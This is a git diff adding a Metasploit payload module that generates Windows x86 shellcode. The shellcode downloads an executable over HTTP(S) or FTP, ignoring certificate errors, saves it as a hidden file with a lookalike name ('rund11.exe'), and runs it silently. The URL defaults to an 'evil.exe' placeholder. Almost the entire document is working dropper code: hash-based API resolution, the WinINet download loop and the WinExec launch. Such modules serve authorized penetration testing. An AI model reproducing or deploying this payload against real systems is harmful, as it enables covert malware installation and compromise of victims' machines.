diff --git a/modules/payloads/singles/windows/download_exec_https.rb b/modules/payloads/singles/windows/download_exec_https.rb new file mode 100644 index 0000000000..76d7b97f3b --- /dev/null +++ b/modules/payloads/singles/windows/download_exec_https.rb @@ -0,0 +1,400 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + + +require 'msf/core' + + +module Metasploit3 + + include Msf::Payload::Windows + include Msf::Payload::Single + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Windows Executable Download (http,https,ftp) and Execute', + 'Description' => 'Download an EXE from an HTTP(S)/FTP URL and execute it', + 'Author' => + [ + 'corelanc0d3r ' + ], + 'License' => MSF_LICENSE, + 'Version' => "$Revision$", + 'Platform' => 'win', + 'Arch' => ARCH_X86 + )) + + # Register command execution options + register_options( + [ + OptString.new('URL', [true, "The pre-encoded URL to the executable" ,"https://localhost:443/evil.exe"]), + OptString.new('EXE', [ true, "Filename to save & run executable on target system", "rund11.exe" ]) + ], self.class) + end + + # + # Construct the payload + # + def generate + + target_uri = datastore['URL'] || "" + filename = datastore['EXE'] || "" + proto = "https" + dwflags_asm = "push (0x80000000 | 0x04000000 | 0x00800000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags\n" + #;0x80000000 | ; INTERNET_FLAG_RELOAD + #;0x04000000 | ; INTERNET_NO_CACHE_WRITE + #;0x00800000 | ; INTERNET_FLAG_SECURE + #;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT + #;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID + #;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID + #;0x00000200 ; INTERNET_FLAG_NO_UI" + + exitfuncs = { + "PROCESS" => 0x56A2B5F0, #kernel32.dll!ExitProcess + "THREAD" => 0x0A2A1DE0, #kernel32.dll!ExitThread + "SEH" => 0x00000000, #we don't care + "NONE" => 0x00000000 #we don't care + } + + protoflags = { + "http" => 0x3, + "https" => 0x3, + "ftp" => 0x1 + } + + exitfunc = datastore['EXITFUNC'].upcase + + if exitfuncs[exitfunc] + exitasm = case exitfunc + when "SEH" then "xor eax,eax\ncall eax" + when "NONE" then "jmp end" # don't want to load user32.dll for GetLastError + else "push 0x0\npush 0x%x\ncall ebp" % exitfuncs[exitfunc] + end + end + + # parse URL and break it down in + # - remote host + # - port + # - /path/to/file + + server_uri = '' + server_host = '' + port_nr = 443 # default + + if target_uri.length > 0 + + # get desired protocol + if target_uri.start_with?'http://' + proto = "http" + port_nr = 80 + dwflags_asm = "push (0x80000000 | 0x04000000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags\n" + end + if target_uri.start_with?'ftp://' + proto = "ftp" + port_nr = 21 + dwflags_asm = "push (0x80000000 | 0x04000000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags\n" + end + + # sanitize the input + target_uri = target_uri.gsub('http://','') #don't care about protocol + target_uri = target_uri.gsub('https://','') #don't care about protocol + target_uri = target_uri.gsub('ftp://','') #don't care about protocol + + server_info = target_uri.split("/") + + # did user specify a port ? + server_parts = server_info[0].split(":") + if server_parts.length > 1 + port_nr = Integer(server_parts[1]) + end + + # actual target host + server_host = server_parts[0] + + # get /path/to/remote/exe + + + for i in (1..server_info.length-1) + server_uri << "/" + server_uri << server_info[i] + end + + end + + # get protocol specific stuff + + + + #create actual payload + payload_data = <Ldr + mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list +next_mod: + mov esi, [edx+40] ; Get pointer to modules name (unicode string) + movzx ecx, word [edx+38] ; Set ECX to the length we want to check + xor edi, edi ; Clear EDI which will store the hash of the module name +loop_modname: ; + xor eax, eax ; Clear EAX + lodsb ; Read in the next byte of the name + cmp al, 'a' ; Some versions of Windows use lower case module names + jl not_lowercase ; + sub al, 0x20 ; If so normalise to uppercase +not_lowercase: ; + ror edi, 13 ; Rotate right our hash value + add edi, eax ; Add the next byte of the name + loop loop_modname ; Loop untill we have read enough + ; We now have the module hash computed + push edx ; Save the current position in the module list for later + push edi ; Save the current module hash for later + ; Proceed to iterate the export address table, + mov edx, [edx+16] ; Get this modules base address + mov eax, [edx+60] ; Get PE header + add eax, edx ; Add the modules base address + mov eax, [eax+120] ; Get export tables RVA + test eax, eax ; Test if no export address table is present + jz get_next_mod1 ; If no EAT present, process the next module + add eax, edx ; Add the modules base address + push eax ; Save the current modules EAT + mov ecx, [eax+24] ; Get the number of function names + mov ebx, [eax+32] ; Get the rva of the function names + add ebx, edx ; Add the modules base address + ; Computing the module hash + function hash +get_next_func: ; + jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module + dec ecx ; Decrement the function name counter + mov esi, [ebx+ecx*4] ; Get rva of next module name + add esi, edx ; Add the modules base address + xor edi, edi ; Clear EDI which will store the hash of the function name + ; And compare it to the one we want +loop_funcname: ; + xor eax, eax ; Clear EAX + lodsb ; Read in the next byte of the ASCII function name + ror edi, 13 ; Rotate right our hash value + add edi, eax ; Add the next byte of the name + cmp al, ah ; Compare AL (the next byte from the name) to AH (null) + jne loop_funcname ; If we have not reached the null terminator, continue + add edi, [ebp-8] ; Add the current module hash to the function hash + cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for + jnz get_next_func ; Go compute the next function hash if we have not found it + ; If found, fix up stack, call the function and then value else compute the next one... + pop eax ; Restore the current modules EAT + mov ebx, [eax+36] ; Get the ordinal table rva + add ebx, edx ; Add the modules base address + mov cx, [ebx+2*ecx] ; Get the desired functions ordinal + mov ebx, [eax+28] ; Get the function addresses table rva + add ebx, edx ; Add the modules base address + mov eax, [ebx+4*ecx] ; Get the desired functions RVA + add eax, edx ; Add the modules base address to get the functions actual VA + ; We now fix up the stack and perform the call to the desired function... +finish: + mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad + pop ebx ; Clear off the current modules hash + pop ebx ; Clear off the current position in the module list + popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered + pop ecx ; Pop off the origional return address our caller will have pushed + pop edx ; Pop off the hash value our caller will have pushed + push ecx ; Push back the correct return value + jmp eax ; Jump into the required function + ; We now automagically return to the correct caller... +get_next_mod: ; + pop eax ; Pop off the current (now the previous) modules EAT +get_next_mod1: ; + pop edi ; Pop off the current (now the previous) modules hash + pop edx ; Restore our position in the module list + mov edx, [edx] ; Get the next module + jmp next_mod ; Process this module + +; actual routine +start: + pop ebp ; get ptr to block_api routine +; based on HDM's block_reverse_https.asm +load_wininet: + push 0x0074656e ; Push the bytes 'wininet',0 onto the stack. + push 0x696e6977 ; ... + mov esi, esp ; Save a pointer to wininet + push esp ; Push a pointer to the "wininet" string on the stack. + push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) + call ebp ; LoadLibraryA( "wininet" ) + +internetopen: + xor edi,edi + push edi ; DWORD dwFlags + push edi ; LPCTSTR lpszProxyBypass + push edi ; LPCTSTR lpszProxyName + push edi ; DWORD dwAccessType (PRECONFIG = 0) + push esi ; LPCTSTR lpszAgent ("wininet\x00") + push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) + call ebp + + jmp dbl_get_server_host + +internetconnect: + pop ebx ; Save the hostname pointer + xor ecx, ecx + push ecx ; DWORD_PTR dwContext (NULL) + push ecx ; dwFlags + push #{protoflags[proto]} ; DWORD dwService (INTERNET_SERVICE_HTTP or INTERNET_SERVICE_FTP) + push ecx ; password + push ecx ; username + push #{port_nr} ; PORT + push ebx ; HOSTNAME + push eax ; HINTERNET hInternet + push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) + call ebp + + jmp get_server_uri + +httpopenrequest: + pop ecx + xor edx, edx ; NULL + push edx ; dwContext (NULL) + #{dwflags_asm} ; dwFlags + push edx ; accept types + push edx ; referrer + push edx ; version + push ecx ; url + push edx ; method + push eax ; hConnection + push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) + call ebp + mov esi, eax ; hHttpRequest + +set_retry: + push 0x10 + pop ebx + +; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) ); +set_security_options: + push 0x00003380 + mov eax, esp + push 4 ; sizeof(dwFlags) + push eax ; &dwFlags + push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) + push esi ; hRequest + push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) + call ebp + +httpsendrequest: + xor edi, edi + push edi ; optional length + push edi ; optional + push edi ; dwHeadersLength + push edi ; headers + push esi ; hHttpRequest + push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" ) + call ebp + test eax,eax + jnz create_file + +try_it_again: + dec ebx + jz thats_all_folks ; failure -> exit + jmp set_security_options + +dbl_get_server_host: + jmp get_server_host + +get_server_uri: + call httpopenrequest + +server_uri: + db "/#{server_uri}", 0x00 + +create_file: + jmp get_filename + +get_filename_return: + xor eax,eax ; zero eax + pop edi ; ptr to filename + push eax ; hTemplateFile + push 2 ; dwFlagsAndAttributes (Hidden) + push 2 ; dwCreationDisposition (CREATE_ALWAYS) + push eax ; lpSecurityAttributes + push 2 ; dwShareMode + push 2 ; dwDesiredAccess + push edi ; lpFileName + push 0x4FDAF6DA ; kernel32.dll!CreateFileA + call ebp + +download_prep: + xchg eax, ebx ; place the file handle in ebx + xor eax,eax ; zero eax + mov ax,0x304 ; we'll download 0x300 bytes at a time + sub esp,eax ; reserve space on stack + +download_more: + push esp ; &bytesRead + lea ecx,[esp+0x8] ; target buffer + xor eax,eax + mov ah,0x03 ; eax => 300 + push eax ; read length + push ecx ; target buffer on stack + push esi ; hRequest + push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" ) + call ebp + + test eax,eax ; download failed? (optional?) + jz thats_all_folks ; failure -> exit + + pop eax ; how many bytes did we retrieve ? + + test eax,eax ; optional? + je close_and_run ; continue until it returns 0 + +write_to_file: + push 0 ; lpOverLapped + push esp ; lpNumberOfBytesWritten + push eax ; nNumberOfBytesToWrite + lea eax,[esp+0xc] ; get pointer to buffer + push eax ; lpBuffer + push ebx ; hFile + push 0x5BAE572D ; kernel32.dll!WriteFile + call ebp + sub esp,4 ; set stack back to where it was + jmp download_more + +close_and_run: + push ebx + push 0x528796C6 ; kernel32.dll!CloseHandle + call ebp + +execute_file: + push 0 ; don't show + push edi ; lpCmdLine + push 0x876F8B31 ; kernel32.dll!WinExec + call ebp + +thats_all_folks: + #{exitasm} + +get_filename: + call get_filename_return + db "#{filename}",0x00 + +get_server_host: + call internetconnect + +server_host: + db "#{server_host}", 0x00 +end: +EOS + the_payload = Metasm::Shellcode.assemble(Metasm::Ia32.new, payload_data).encode_string + end +end